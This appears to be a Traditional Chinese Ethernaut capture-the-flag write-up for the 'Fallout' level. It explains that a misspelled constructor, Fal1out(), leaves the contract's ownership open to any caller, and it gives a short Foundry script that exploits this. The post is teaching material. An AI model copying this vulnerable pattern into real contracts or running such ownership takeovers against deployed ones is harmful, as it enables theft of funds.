獲得下面合約的所有權來完成這一關
可能會有用的資訊:Solidity, Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
這題的目標跟上一題是一樣的,取代合約的 onwer,那可以在第 14 行看到 owner = msg.sender
也就是說只要呼叫 Fal1out()
就可以取代 owner 了,攻擊合約如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../src/Ethernaut Challenge/02_Fallout.sol";
contract ExploitScript is Script {
Fallout level2 = Fallout(payable(your_challenge_address));
function run() public {
vm.startBroadcast();
level2.Fal1out();
vm.stopBroadcast();
}
}
這一題主要是想考 constructor()
以及舊版 Solidity 的一些安全問題,但是在現在其實不太會碰到了,對於 constructor()
的用法以及歷史可以參考以下文章:
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up